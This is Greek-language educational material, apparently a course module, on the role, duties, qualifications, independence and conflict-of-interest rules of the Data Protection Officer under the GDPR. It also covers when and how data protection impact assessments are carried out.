Ο ΥΠΔ οφείλει να ενημερώσει τον υπεύθυνο επεξεργασίας ή εκτελούντα για της εξής υποχρεώσεις τους: 1. Τους κανόνες που διέπουν τις αρχές της συλλογής και επεξεργασίας, καθώς και την ευθύνη του ΥΕ να αποδείξει τη συμμόρφωσή του με τα ανωτέρω, όπως αυτά θεσπίζονται από το άρθρο 5 του Κανονισμού 2. Την νομιμότητα της επεξεργασίας. Συγκεκριμένα ο ΥΠΔ, οφείλει να ενημερώσει τον φορέα για τις περιοριστικά απαριθμούμενες περιστάσεις υπό τις οποίες επιτρέπεται η επεξεργασία των δεδομένων, όπως αυτές ορίζονται στο άρθρο 6 παρ. 1 του Γ.Κ.Π.Δ. 3. Για το ποιες είναι οι προϋποθέσεις για τη νόμιμη συγκατάθεση του υποκειμένου των δεδομένων σύμφωνα με τα άρθρα 7 και 8 του ΓΚΠΔ. 4. Να ενημερώσει για τις απαγορεύσεις επεξεργασίας ευαίσθητων δεδομένων και για τις περιπτώσεις που επιτρέπεται η επεξεργασία τους. (βλ. άρθρο 9,10 ΓΠΔΚ). 5. Υποχρέωση γνωστοποίησης όσον αφορά τη διόρθωση ή τη διαγραφή δεδομένων προσωπικού χαρακτήρα ή τον περιορισμό επεξεργασίας. 6. Για τις διατάξεις που ρυθμίζουν την έκταση και τις προϋποθέσεις ευθύνης του υπευθύνου επεξεργασίας, σύμφωνα με το άρθρο 24 και 25 του ΓΚΠΔ, στα οποία ορίζεται ότι ο ΥΕ θα πρέπει να εφαρμόζει τα κατάλληλα τεχνικά και οργανωτικά μέτρα (πχ η ψευδωνυμοποίηση, η δυνατότητα διασφάλισης του απορρήτου, η δυνατότητα αποκατάστασης της διαθεσιμότητας και της πρόσβασης σε δεδομένα προσωπικού χαρακτήρα σε εύθετο χρόνο σε περίπτωση τεχνικού ή φυσικού συμβάντος), ώστε να διασφαλίζει εξ’ ορισμού ότι υφίστανται επεξεργασία μόνο τα δεδομένα προσωπικού χαρακτήρα που είναι απαραίτητα για τον εκάστοτε σκοπό της επεξεργασίας και σύμφωνα πάντα με τις απαιτήσεις του κανονισμού. 7. Γνωστοποίηση παραβίασης δεδομένων προσωπικού χαρακτήρα στην Αρχή και στο Υποκείμενο των δεδομένων. Ο ΥΠΔ οφείλει να ενημερώσει ότι σε περίπτωση παραβίασης δεδομένων προσωπικού χαρακτήρα, ο υπεύθυνος επεξεργασίας πρέπει να γνωστοποιεί άμεσα, εντός 72 ωρων από τη στιγμή που αποκτά σχετική γνώση την Αρχή, εκτός αν η παραβίαση δεν ενδέχεται να προκαλέσει κίνδυνο για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων. Αντίστοιχα ο ΥΠΔ οφείλει να ενημερώσει ότι όταν η παραβίαση ενδέχεται να θέσει σε υψηλό κίνδυνο δικαιώματα φυσικών προσώπων, ο υπεύθυνος επεξεργασίας πρέπει να ανακοινώσει την εν λόγω παραβίαση στο υποκείμενο.

8. Εκτίμηση αντικτύπου σχετικά με την προστασία των δεδομένων και διασυνοριακή μεταβίβαση δεδομένων. Όταν ένα είδος επεξεργασίας ενδέχεται να επιφέρει υψηλό κίνδυνο για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων, ο υπεύθυνος επεξεργασίας θα πρέπει να προβεί πριν την διενέργεια της επεξεργασίας σε εκτίμηση των επιπτώσεων της εν λόγω πράξης, έχοντας ζητήσει την προηγούμενη γνώμη του ΥΠΔ (βλ. άρθρο 39 παρ. 1 γ του ΓΚΠΔ). 9. Ο ΥΠΔ οφείλει να ενημερώνει τον οργανισμό ότι η διαβίβαση δεδομένων προσωπικού χαρακτήρα προς Τρίτη χώρα ή διεθνή οργανισμό μπορεί να πραγματοποιηθεί μόνο εφόσον η Ευρωπαϊκή Επιτροπή έχει αποφασίσει ότι η Τρίτη χώρα προσφέρει τις αντίστοιχες εγγυήσεις της προστασίας των προσωπικών δεδομένων.

Βέλτιστες πρακτικές σχετικά με την ενημέρωση του υπεύθυνου επεξεργασίας και του προσωπικού του: 1. Διοργάνωση εκπαιδευτικών ημερίδων σε τακτική βάση 2. Παρουσία του ΥΠΔ σε συνεδριάσεις της διοίκησης 3. Δημιουργία εσωτερικού διαδικτυακού τόπου με οδηγίες και συμβουλές για την προστασία δεδομένων 4. Σύνταξη άρθρων και εκθέσεων σε newsletter 5. Σύνταξη ενημερωτικών εγχειριδίων κλπ. Εκθέσεις συμμόρφωσης σε τακτική βάση

Η παρακολούθηση της συμμόρφωσης από τον ΥΠΔ •

Βασικό καθήκον του ΥΠΔ ως προς την συμμόρφωση μπορεί να περιλαμβάνει:

•

Τη συλλογή πληροφοριών για να καθορισθούν οι επεξεργασίες δεδομένων

•

Την ανάλυση και τον έλεγχο της συμμόρφωσης ως προς τις επεξεργασίες δεδομένων

•

Την πληροφόρηση, παροχή συμβουλών και έκδοση συστάσεων προς τον ΥΕ ή τον ΕΕ

Η συμμόρφωση αφορά όχι μόνο τις υποχρεώσεις αλλά και την ικανοποίηση των δικαιωμάτων των υποκειμένων των δεδομένων. Συνεπώς εάν το υποκείμενο ασκήσει ένα από τα

δικαιώματα του και ο ΥΕ δεν το ικανοποιήσει, τότε το υποκείμενο μπορεί να προβεί σε καταγγελία στο ΥΠΔ, ζητώντας του να εξετάσει τη συμμόρφωση του υπευθύνου με τις διατάξεις. Ακολούθως ο ΥΠΔ μπορεί να εξετάσει για ποιους λόγους δεν ικανοποιήθηκε το δικαίωμα και αν η άρνηση εμπίπτει σε κάποια από τις εξαιρέσεις. Επίσης ο ΥΠΔ μπορεί να προβλέψει εάν το υποκείμενο των δεδομένων θα προσφύγει στην αρχή και να εισηγηθεί στον ΥΕ την επανεξέταση του εν λόγω αιτήματος.

Εκτίμηση Αντικτύπου Ο ΥΠΔ έχει ως καθήκον να παρέχει συμβουλές, όταν ζητείται, όσον αφορά την Εκτίμηση Αντικτύπου (και να παρακολουθεί την υλοποίησή της (άρθρο 39 παρ. 1γ).

Συνεργασία με την Αρχή 1. Ο ΥΠΔ έχει καθήκον συνεργασίας με την εποπτική Αρχή (άρθρο 39 παρ. 1) 2. Σύμφωνα με την Ο.Ε. αρ. 29 ο ΥΠΔ θα πρέπει να λειτουργεί ως «σημείο επικοινωνίας» για την εποπτική Αρχή. 3. Διευκολύνει την πρόσβαση της εποπτικής Αρχής σε έγγραφα και πληροφορίες του οργανισμού, προκειμένου να ασκήσει της αρμοδιότητές της. 4. Ο ΥΠΔ θα πρέπει να νοείται μέρος της Αρχής και όχι ως «πράκτορας» της Αρχής (εεπδ) 5. Καθήκον του ΥΠΔ είναι επίσης να ενεργεί ως σημείο επικοινωνίας με την εποπτική Αρχή για ζητήματα που σχετίζονται με την επεξεργασία, συμπεριλαμβανομένης της προηγούμενης διαβούλευσης και να διαβουλεύεται, ανάλογα με την περίπτωση, για οποιοδήποτε άλλο θέμα (άρθρο 39 παρ. 1 (3)

Υποχρέωση εχεμύθιας του ΥΠΔ (Άρθρο 38 παρ 3)

Αυτονόητη προϋπόθεση άσκησης του επαγγέλματος του ΥΠΔ είναι η υποχρέωση εχεμύθειας των δεδομένων προσωπικού χαρακτήρα που έρχονται σε γνώση αυτού. Μάλιστα στο άρθρο 70 παρ. 5 του σχεδίου νόμου, ΥΠΔ που παραβιάζει την εν λόγω υποχρέωση με σκοπό να ωφεληθεί ο ίδιος ή τρίτος, ή για να βλάψει τον ΥΕ ή τον ΕΕ την επεξεργασία ή το υποκείμενο των δεδομένων ή οποιονδήποτε τρίτο τιμωρείται με ποινή

φυλάκισης τουλάχιστον ενός (1) έτους και χρηματική ποινή από δέκα χιλιάδες (10.000) ευρώ έως εκατό χιλιάδες (100.000) ευρώ, εάν η πράξη δεν τιμωρείται βαρύτερα από άλλες διατάξεις.

Προσόντα του Υπευθύνου Προστασίας Δεδομένων (άρθρο 37 παρ. 5 ΓΚΠΔ) •

Ο ΥΠΔ διορίζεται βάσει επαγγελματικών προσόντων και ιδίως βάσει της εμπειρογνωσίας που διαθέτει στον τομέα του δικαίου και των πρακτικών περί προστασίας δεδομένων, καθώς και βάση της ικανότητας εκπλήρωσης των καθηκόντων που αναφέρονται στο άρθρο 39.

•

Κατά την αιτιολογική σκέψη 97 του ΓΚΠΔ, ο ΥΠΔ ορίζεται ως «ένα πρόσωπο με ειδικές γνώσεις στο δίκαιο και στις πρακτικές προστασίας των δεδομένων θα πρέπει να παρέχει συνδρομή στον υπεύθυνο επεξεργασίας ή τον εκτελούντα την επεξεργασία κατά την παρακολούθηση της εσωτερικής συμμόρφωσης προς τον παρόντα κανονισμό».

•

Σύμφωνα με τις «Κατευθυντήριες γραμμές για τους ΥΠΔ» της Ομάδας εργασίας του άρθρου 29, το επίπεδο εξειδίκευσης του ΥΠΔ δεν προσδιορίζεται αυστηρά, αλλά θα πρέπει να βρίσκεται σε αντιστοιχία με την πολυπλοκότητα και τον όγκο των δεδομένων που επεξεργάζεται κάθε φορά.

•

Επίσης, λαμβάνεται υπόψη αν ο υπεύθυνος επεξεργασίας διαβιβάζει συστηματικά προσωπικά δεδομένα σε τρίτες χώρες ή αν τέτοιες διαβιβάσεις είναι περιστασιακές.

Αν και στον ΓΚΠΔ δεν προσδιορίζονται τα ειδικά επαγγελματικά προσόντα που θα πρέπει να λαμβάνονται υπόψη κατά τον ορισμό του DPO, κρίνεται ότι τελευταίος πρέπει να διαθέτει τα εξής χαρακτηριστικά 1. εμπειρογνωσία στον τομέα του δικαίου και των πρακτικών περί προστασίας δεδομένων, τόσο σε εθνικό όσο και ευρωπαϊκό επίπεδο 2. να έχει άριστη γνώση του ΓΚΠΔ. 3. Χρήσιμη θεωρείται δε η γνώση του τομέα δραστηριότητας καθώς και του οργανισμού του υπευθύνου επεξεργασίας στον οποίο θα απασχοληθεί. 4. ΥΠΔ θα πρέπει να έχει καλή γνώση των πράξεων επεξεργασίας που διενεργούνται, καθώς και των συστημάτων πληροφορικής, και των αναγκών του υπευθύνου επεξεργασίας σε επίπεδο ασφάλειας και προστασίας των δεδομένων.

5. Ειδικά στην περίπτωση δημόσιας αρχής ή δημόσιου φορέα, ο υπεύθυνος προστασίας δεδομένων θα πρέπει να έχει επιπλέον καλή γνώση των διοικητικών κανόνων και διαδικασιών του οργανισμού.

Η Θέση του ΥΠΔ 1. Ο ΥΕ και ο ΕΕ διασφαλίζουν ότι ο ΥΠΔ συμμετέχει, δεόντως και εγκαίρως, σε όλα τα ζητήματα τα οποία σχετίζονται με την προστασία δεδομένων προσωπικού χαρακτήρα. 2. Διασφάλιση του θεσμού του ΥΠΔ με θεσμικές εγγυήσεις για την άσκηση του έργου του. 3. Συμμετοχή σε όλες τις συζητήσεις που αφορούν την προστασία δεδομένων, σε αρχικό στάδιο. 4. Πρέπει να προσκαλείται και να παρακολουθεί τακτικά τις συνεδριάσεις των στελεχών της διοίκησης. 5. Να είναι παρών όταν λαμβάνονται σχετικές αποφάσεις. Να καταγράφεται η γνώμη του όταν διαφωνεί με τις αποφάσεις της διοίκησης

Πόροι και πρόσβαση στα Δεδομένα 1. Ο ΥΕ και ο ΕΕ στηρίζουν τον ΥΠΔ στην άσκηση των καθηκόντων που αναφέρονται στο άρθρο 39 παρέχοντας απαραίτητους πόρους για την άσκηση των εν λόγω καθηκόντων και πρόσβαση σε δεδομένα προσωπικού χαρακτήρα και σε πράξεις επεξεργασίας, καθώς και πόρους απαραίτητους για τη διατήρηση της εμπειρογνωσίας του. 2. Σημαντικό, αν είναι μέλος του προσωπικού, να αμείβεται επιπρόσθετα για την ενάσκηση των καθηκόντων του 3. Ενεργητική υποστήριξη της λειτουργίας του ΥΠΔ από τα υψηλότερα στελέχη της διοίκησης 4. Επαρκής χρόνος για τον ΥΠΔ προκειμένου να εκπληρώσει τα καθήκοντά του 5. Επαρκής υποστήριξη ως προς τους οικονομικούς πόρους, τις υποδομές και το προσωπικό όπου είναι αναγκαίο 6. Επίσημη ανακοίνωση του ορισμού ΥΠΔ προς όλο το προσωπικό, ώστε να γίνει γνωστή η ύπαρξή του στο πλαίσιο του φορέα

7. Αναγκαία πρόσβαση σε άλλες υπηρεσίες (ανθρώπινο δυναμικό, νομική υπηρεσία, πληροφορική) ώστε να λαμβάνει υποστήριξη 8. Συνεχής εκπαίδευση 9. Γραφείο ΥΠΔ Πρέπει να διαμορφώνεται ένας χώρος γραφείου αποκλειστικά για τον ΥΠΔ, ώστε να διασφαλίζεται η ανεξαρτησία του και το απόρρητο των ενεργειών του 10. Προσωπικό Ανάλογα με την έκταση του φορέα, μπορεί να απαιτείται αυτόνομη γραμματειακή υποστήριξη και προσωπικό: 11. Έναν διοικητικό υπάλληλο και έναν υπάλληλο με γνώσεις τεχνολογίας πληροφορικής και επικοινωνιών και Έναν νομικό 12. Τεχνικός εξοπλισμός (H/Y, λογισμικό ασφάλειας) 13. Πρόσβαση σε όλα τα δεδομένα και τις επεξεργασίες δεδομένων (δεν νοείται απόρρητο έναντι του ΥΠΔ) 14. Πόροι για τη διατήρηση της εμπειρογνωσίας (βιβλιοθήκη κλπ.)

Ανεξαρτησία του ΥΠΔ (Αρθ. 38 παρ. 3 ΓΚΠΔ) και Λογοδοσία και ετήσια έκθεση 1. Ο ΥΕ και ο ΕΚ διασφαλίζει ότι ο ΥΠΔ δεν λαμβάνει εντολές για την άσκηση των εν λόγω καθηκόντων. Δεν απολύεται ούτε υφίσταται κυρώσεις από τον υπεύθυνο επεξεργασίας ή τον εκτελούντα την επεξεργασία επειδή επιτέλεσε τα καθήκοντά του. 2. Αυτό σημαίνει ότι ΥΠΔ δεν πρέπει να καθοδηγούνται στον χειρισμό υποθέσεων, ούτε και για να πάρουν συγκεκριμένη θέση 3. Ο ΥΠΔ λογοδοτεί απευθείας στο ανώτατο διοικητικό επίπεδο του υπευθύνου επεξεργασίας ή του εκτελούντος την επεξεργασία. 4. Ο ΥΠΔ δεν φέρει ευθύνη για τυχόν παραβάσεις των διατάξεων για την προστασία δεδομένων στις οποίες υποπίπτει ο υπεύθυνος ή ο εκτελών την επεξεργασία, οι οποίοι βαρύνονται με τη συμμόρφωση. 5. Συνίσταται η υποβολή ετήσιας έκθεσης ως αναγκαία καλή πρακτική με στόχο την εφαρμογή της αρχής της λογοδοσίας.

Πρόσωπο επικοινωνίας (Αρθ. 38 παρ. 4 )

Τα υποκείμενα των δεδομένων μπορούν να επικοινωνούν με τον ΥΠΔ για κάθε ζήτημα σχετικό με την επεξεργασία των δεδομένων τους προσωπικού χαρακτήρα και με την άσκηση των δικαιωμάτων τους δυνάμει του παρόντος κανονισμού.

Απόρρητο και Εμπιστευτικότητα Ο ΥΠΔ δεσμεύεται από την τήρηση του απορρήτου ή της εμπιστευτικότητας σχετικά με την εκτέλεση των καθηκόντων του. Λόγος ευθύνης του ΥΠΔ η μη τήρηση του απορρήτου και της εμπιστευτικότητας.

Σύγκρουση Συμφερόντων 1. Ο ΥΠΔ μπορεί να επιτελεί και άλλα καθήκοντα και υποχρεώσεις. 2. Ο ΥΕ ή ο ΕΕ διασφαλίζουν ότι τα εν λόγω καθήκοντα και υποχρεώσεις δεν συνεπάγονται σύγκρουση συμφερόντων (conflict of interest) [Αρθ. 38 παρ. 6 ΓΚΠΔ]. 3. Η απουσία σύγκρουσης συμφερόντων αποτελεί μια προϋπόθεση στενά συνδεμένη με την ανεξαρτησία του του ΥΠΔ. 4. Ο υπεύθυνος προστασίας δεδομένων δεν μπορεί να κατέχει στους κόλπους του οργανισμού θέση από την οποία μπορεί να καθορίζει τους σκοπούς και τα μέσα της επεξεργασίας δεδομένων προσωπικού χαρακτήρα. 5. Επειδή κάθε οργανισμός έχει διαφορετική οργανωτική δομή, το συγκεκριμένο ζήτημα θα πρέπει να εξετάζεται για κάθε περίπτωση χωριστά. (ΟΕ αρ. 29) 6. Με βάση την εμπειρία, θέσεις στις οποίες εντοπίζονται συνήθως συγκρούσεις συμφερόντων είναι, μεταξύ άλλων: 7. οι θέσεις της ανώτερης διοίκησης (όπως, διευθύνων σύμβουλος, διοικητικός γενικός διευθυντής,

οικονομικός

διευθυντής,

αρχίατρος,

προϊστάμενος

τμήματος

μάρκετινγκ, προϊστάμενος ανθρωπίνων πόρων ή προϊστάμενος τμήματος πληροφορικής) 8. και άλλες θέσεις κατώτερων βαθμίδων της οργανωτικής δομής, εφόσον από τις θέσεις αυτές είναι δυνατός ο καθορισμός των σκοπών και των μέσων της επεξεργασίας Οι ΥΕ και ΕΕ πρέπει: •

Να καθορίζουν τις θέσεις που εμπίπτουν στο ασυμβίβαστο

•

Να συντάσσουν εσωτερικούς κανονισμούς σχετικά με το θέμα

•

Να παρέχουν διευκρινήσεις για συγκρούσεις συμφερόντων

•

Να διακηρύσσουν ότι ο ΥΠΔ τους δεν έχει σύγκρουση συμφερόντων

•

Να συμπεριλάβουν σχετικές διασφαλίσεις στους εσωτερικούς κανονισμούς του οργανισμού

Συνέπειες της σύγκρουσης συμφερόντων Η υποχρέωση διασφάλισης απουσίας σύγκρουσης συμφερόντων αφορά τον ΥΕ και τον ΕΕ. Εάν έχουν πράξει οτιδήποτε κατάλληλο και εν τέλει προκύψει σύγκρουση συμφερόντων, ο ΥΠΔ θα πρέπει να το θέσει υπόψη της οντότητας που θητεύει. Η σύγκρουση συμφερόντων μπορεί να σχετίζεται με εξωτερικές δραστηριότητες του ΥΠΔ, οπότε θα πρέπει να προτείνει ο ίδιος δυνατότητες να ξεπεραστεί πχ πρόταση αυτοεξαίρεσης. Αν ο ΥΠΔ δεν ενημερώσει για την σύγκρουση συμφερόντων και στη συνέχεια αποκαλυφθεί ότι η λύση που πρότεινε εξυπηρετούσε τα παράλληλα συμφέροντα, ζημιώνοντας τον ΥΕ, τότε υπάρχει δίκαιος λόγος αντικατάστασης.

Εκπαιδευτική Υποενότητα 14.2 Η εκτίμηση του αντικτύπου Κινδύνου σχετικά με την προστασία δεδομένων στον Γενικό Κανονισμό Προστασίας Δεδομένων (GDPR) Καθορισμός του κατά πόσον η επεξεργασία «ενδέχεται να επιφέρει υψηλό κίνδυνο» για τους σκοπούς του Γενικού Κανονισμού Προστασίας Δεδομένων.

Κατευθυντήριες γραμμές Ομάδας Εργασίας Άρθρου 29 Με τις κατευθυντήριες γραμμές της Ομάδας Εργασίας του Άρθρου 29 (WP29*) παρέχονται διευκρινίσεις αναφορικά με την εκτίμηση του αντικτύπου σχετικά με την προστασία δεδομένων (ΕΑΠΔ) και τον καθορισμό του κατά πόσον η επεξεργασία «ενδέχεται να επιφέρει υψηλό κίνδυνο» για τους σκοπούς του Γενικού Κανονισμού για την Προστασία Δεδομένων (GDPR).Όπως είναι γνωστό, ο κανονισμός 2016/679 (Γενικός Κανονισμός για την Προστασία Δεδομένων – ΓΚΠΔ) θα τεθεί σε εφαρμογή από την 25η Μαΐου 2018.

Το άρθρο 35 Το άρθρο 35 του ΓΚΠΔ εισάγει την έννοια της εκτίμησης αντικτύπου σχετικά με την προστασία δεδομένων (ΕΑΠΔ1), όπως και η οδηγία 2016/6802. Σύμφωνα με την WP 29, η εκτίμηση αντικτύπου σχετικά με την προστασία δεδομένων είναι μια διαδικασία που έχει σχεδιαστεί για να περιγράψει την επεξεργασία, να αξιολογήσει την αναγκαιότητα και την αναλογικότητά της και να συνδράμει στη διαχείριση των κινδύνων για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων που συνεπάγεται η επεξεργασία των δεδομένων προσωπικού χαρακτήρα, με την αξιολόγησή τους και τον καθορισμό μέτρων για την αντιμετώπισή τους.

Τι αποτελεί η Εκτίμηση Αντικτύπου Κινδύνου (άρθρο 24) Η ΕΑΠΔ αποτελεί σημαντικό εργαλείο για την πλήρωση της υποχρέωσης λογοδοσίας, καθώς παρέχει συνδρομή στους υπεύθυνους επεξεργασίας όχι μόνον προκειμένου να συμμορφώνονται με τις προδιαγραφές του ΓΚΠΔ, αλλά και για να αποδεικνύουν ότι έχουν ληφθεί τα ενδεδειγμένα μέτρα για τη διασφάλιση της συμμόρφωσης προς τον κανονισμό.

Η Εκτίμηση Αντικτύπου κινδύνου (ΕΑΠΔ) ως διαδικασία εμπέδωσης της συμμόρφωσης Με άλλα λόγια, η ΕΑΠΔ είναι μια διαδικασία εμπέδωσης και απόδειξης της συμμόρφωσης.Βάσει του ΓΚΠΔ, η μη συμμόρφωση με τις απαιτήσεις ΕΑΠΔ μπορεί να οδηγήσει στην επιβολή προστίμων από την αρμόδια εποπτική αρχή.

Η παράλειψη

διενέργειας ΕΑΠΔ σε επεξεργασία που υπόκειται σε απαίτηση διενέργειας ΕΑΠΔ (άρθρο 35 παράγραφος 1 και παράγραφοι 3-4), η διενέργεια ΕΑΠΔ με εσφαλμένο τρόπο (άρθρο 35 παράγραφος 2 και παράγραφοι 7-9) ή η μη διαβούλευση με την αρμόδια εποπτική αρχή εφόσον απαιτείται [άρθρο 36 παράγραφος 3 στοιχείο ε)] μπορούν να επιφέρουν διοικητικό πρόστιμο ύψους έως 10 εκατ. ευρώ ή, σε περίπτωση επιχείρησης, έως 2 % του συνολικού παγκόσμιου ετήσιου κύκλου εργασιών του προηγούμενου οικονομικού έτους, ανάλογα με το ποιο είναι υψηλότερο.

ΕΑΠΔ: επεξήγηση του κανονισμού 1. Κατά τις επιταγές του Κανονισμού , οι υπεύθυνοι επεξεργασίας οφείλουν να εφαρμόζουν ενδεδειγμένα μέτρα για να διασφαλίζουν και να είναι σε θέση να αποδεικνύουν τη συμμόρφωση προς τον Κανονισμό λαμβάνοντας υπόψη μεταξύ

άλλων «τους κινδύνους διαφορετικής πιθανότητας επέλευσης και σοβαρότητας για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων» (άρθρο 24 παράγραφος 1). 2. Η υποχρέωση των υπεύθυνων επεξεργασίας για τη διενέργεια ΕΑΠΔ σε ορισμένες περιστάσεις θα πρέπει να γίνεται αντιληπτή σε σχέση με τη γενική τους υποχρέωση να διαχειρίζονται με ενδεδειγμένο τρόπο τους κινδύνους που ενέχει η επεξεργασία των δεδομένων προσωπικού χαρακτήρα. 3. Ως «κίνδυνος» νοείται μια υπόθεση εργασίας που περιγράφει ένα συμβάν και τις επιπτώσεις του, που έχουν εκτιμηθεί με όρους σοβαρότητας και πιθανότητας επέλευσης. 4. Από την άλλη, ως «διαχείριση κινδύνου» μπορούν να νοηθούν οι συντονισμένες δραστηριότητες για την καθοδήγηση και τον έλεγχο ενός οργανισμού ως προς τον κίνδυνο. 5. Το άρθρο 35 κάνει λόγο για ενδεχόμενο υψηλό κίνδυνο «για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων». 6. Όπως προκύπτει από τη δήλωση της ομάδας εργασίας του άρθρου 29 για την προστασία των δεδομένων αναφορικά με τον ρόλο μιας προσέγγισης βάσει κινδύνου στο νομικό πλαίσιο της προστασίας δεδομένων, η παραπομπή «στα δικαιώματα και στις ελευθερίες» των υποκειμένων των δεδομένων αφορά πρωτίστως τα δικαιώματα προστασίας των δεδομένων και της ιδιωτικής ζωής, 7. Όμως να συμπεριλαμβάνει και άλλα θεμελιώδη δικαιώματα, όπως την ελευθερία του λόγου, την ελευθερία της σκέψης, την ελευθερία κυκλοφορίας, την απαγόρευση των διακρίσεων, το δικαίωμα στην ελευθερία, την ελευθερία συνειδήσεως και θρησκείας. 8. Σύμφωνα με την προσέγγιση βάσει κινδύνου που υιοθετεί ο ΓΚΠΔ, δεν απαιτείται η διενέργεια ΕΑΠΔ σε κάθε πράξη επεξεργασίας.Αντιθέτως, η διενέργεια ΕΑΠΔ απαιτείται μόνον όταν ένα είδος επεξεργασίας «ενδέχεται να επιφέρει υψηλό κίνδυνο για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων» (άρθρο 35 παράγραφος 1). 9. Αυτό καθαυτό γεγονός της μη πλήρωσης των όρων που ενεργοποιούν την υποχρέωση διενέργειας ΕΑΠΔ δεν μειώνει, εντούτοις, τη γενική υποχρέωση των υπεύθυνων επεξεργασίας να εφαρμόζουν μέτρα για την ενδεδειγμένη διαχείριση των κινδύνων για τα δικαιώματα και τις ελευθερίες των υποκειμένων των δεδομένων. 10. Στην πράξη, αυτό σημαίνει ότι οι υπεύθυνοι επεξεργασίας πρέπει να αξιολογούν συνεχώς τους κινδύνους που απορρέουν από τις δραστηριότητες επεξεργασίας τους,

για να εξακριβώνουν πότε ένα είδος επεξεργασίας «ενδέχεται να επιφέρει υψηλό κίνδυνο για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων».

Πότε διενεργείται η Εκτίμηση Αντικτύπου κινδύνου Η ΕΑΠΔ θα πρέπει να διενεργείται «πριν από την επεξεργασία» (άρθρο 35 παράγραφος 1 και άρθρο 35 παράγραφος 10, αιτιολογικές σκέψεις 90 και 93). Τούτο συνάδει με τις αρχές της εξ ορισμού και της εκ σχεδιασμού προστασίας των δεδομένων (άρθρο 25 και αιτιολογική σκέψη 78). Η ΕΑΠΔ θα πρέπει να αντιμετωπίζεται ως εργαλείο που βοηθά στη λήψη αποφάσεων σε σχέση με την επεξεργασία. Η ΕΑΠΔ ενδέχεται να χρειαστεί επικαιροποίηση μετά την έναρξη της επεξεργασίας και αποτελεί διαρκή διαδικασία και όχι πράξη που διενεργείται άπαξ.

Ποιος οφείλει να κάνει την Εκτίμηση Κινδύνου •

Ο υπεύθυνος επεξεργασίας είναι αρμόδιος. Μπορεί να πραγματοποιηθεί από άλλο πρόσωπο, εντός ή εκτός του οργανισμού, ωστόσο ο υπεύθυνος επεξεργασίας παραμένει ο τελικός υπεύθυνος.

•

Ο υπεύθυνος επεξεργασίας πρέπει επίσης να ζητεί τη γνώμη του υπευθύνου προστασίας δεδομένων (ΥΠΔ) εφόσον έχει οριστεί ΥΠΔ), και η γνώμη του και οι αποφάσεις του υπεύθυνου επεξεργασίας πρέπει να τεκμηριώνονται στην ΕΑΠΔ. Ο ΥΠΔ θα πρέπει επίσης να παρακολουθεί την υλοποίηση της ΕΑΠΔ

•

Ο εκτελών την επεξεργασία θα πρέπει να συνδράμει τον υπεύθυνο επεξεργασίας στη διενέργεια της ΕΑΠΔ και να παράσχει κάθε αναγκαία πληροφορία

Προστασία δεδομένων κατά τον σχεδιασμό (Data protection by design): Ο Κανονισμός επιβάλλει την εφαρμογή προϊόντων και υπηρεσιών (ηλεκτρονικών και μη) που κατά τον αρχικό σχεδιασμό τους δημιουργούν φιλικές συνθήκες για την προστασία των δεδομένων σας. Για παράδειγμα, στις υπηρεσίες ηλεκτρονικής κοινωνικής δικτύωσης πρέπει να σας δίνεται η δυνατότητα να επιλέγετε ρυθμίσεις που θα προστατεύουν περισσότερο τα προσωπικά σας δεδομένα.

Προστασία δεδομένων εξ ορισμού (Data protection by default):

Ο Κανονισμός επιβάλλει την εφαρμογή κατάλληλων τεχνικών και οργανωτικών μέτρων που να διασφαλίζουν ότι, εξ ορισμού, υφίστανται επεξεργασία μόνο τα δεδομένα που είναι απαραίτητα για τον σκοπό της επεξεργασίας.

Γενικά Στοιχεία Υπευθύνου Επεξεργασίας Προσωπικών Δεδομένων 1. Κώδικες δεοντολογίας: Ενθαρρύνεται η εκπόνηση κωδίκων δεοντολογίας από τους υπευθύνους επεξεργασίας, οι οποίοι υποβάλλονται προς έγκριση στην εποπτική Αρχή. Σε περίπτωση διευρωπαϊκής δραστηριότητας ζητείται και η γνώμη του Ευρωπαϊκού Συμβουλίου Προστασίας Δεδομένων. 2. Πιστοποίηση: Ενθαρρύνεται η θέσπιση μηχανισμών πιστοποίησης, σφραγίδων και σημάτων προστασίας δεδομένων για την απόδειξη της συμμόρφωσης προς τον Κανονισμό ή για την απόδειξη παροχής κατάλληλων εγγυήσεων κατά την επεξεργασία. Η πιστοποίηση είναι εθελοντική. 3. ΕΠΟΠΤΙΚΕΣ ΑΡΧΕΣ – ΣΥΝΕΡΓΑΣΙΑ ΚΑΙ ΣΥΝΕΚΤΙΚΟΤΗΤΑ Όταν κάποιος υπεύθυνος επεξεργασίας είναι εγκατεστημένος σε περισσότερα του ενός κράτη μέλη και προβαίνει σε διασυνοριακή επεξεργασία δεδομένων εντός ΕΕ, είναι σκόπιμο να καθορίσει το κράτος μέλος της κύριας εγκατάστασής του στην ΕΕ, ώστε να μπορεί να απευθύνεται στην εποπτική Αρχή του κράτους αυτού –η οποία θεωρείται η επικεφαλής εποπτική Αρχή– σε σχέση με τις διάφορες υποχρεώσεις συμμόρφωσης που πηγάζουν από τον Κανονισμό. 4. Αυτό αποτελεί τον λεγόμενο μηχανισμό μίας στάσης («One stop shop»), σύμφωνα με τον οποίο προβλέπεται συνεργασία μεταξύ της επικεφαλής εποπτικής Αρχής και των ενδιαφερόμενων εθνικών Αρχών στην αρμοδιότητα των οποίων μπορεί να εμπίπτει μια υπόθεση ώστε να διασφαλίζεται ομοιογένεια στην αντιμετώπιση υποθέσεων διευρωπαϊκού ενδιαφέροντος και ασφάλεια δικαίου τόσο για τους υπευθύνους επεξεργασίας όσο και για τους πολίτες της Ένωσης. 5. Περαιτέρω, προκειμένου να υπάρχει συνεκτική εφαρμογή του σχετικού νομικού πλαισίου στην Ένωση, προβλέπεται ο λεγόμενος «μηχανισμός συνεκτικότητας», σημαντικό ρόλο στον οποίο διαδραματίζει το Ευρωπαϊκό Συμβούλιο Προστασίας Δεδομένων όπου εκπροσωπούνται όλες οι εθνικές εποπτικές Αρχές και το οποίο έχει δεσμευτικές αποφασιστικές αρμοδιότητες.

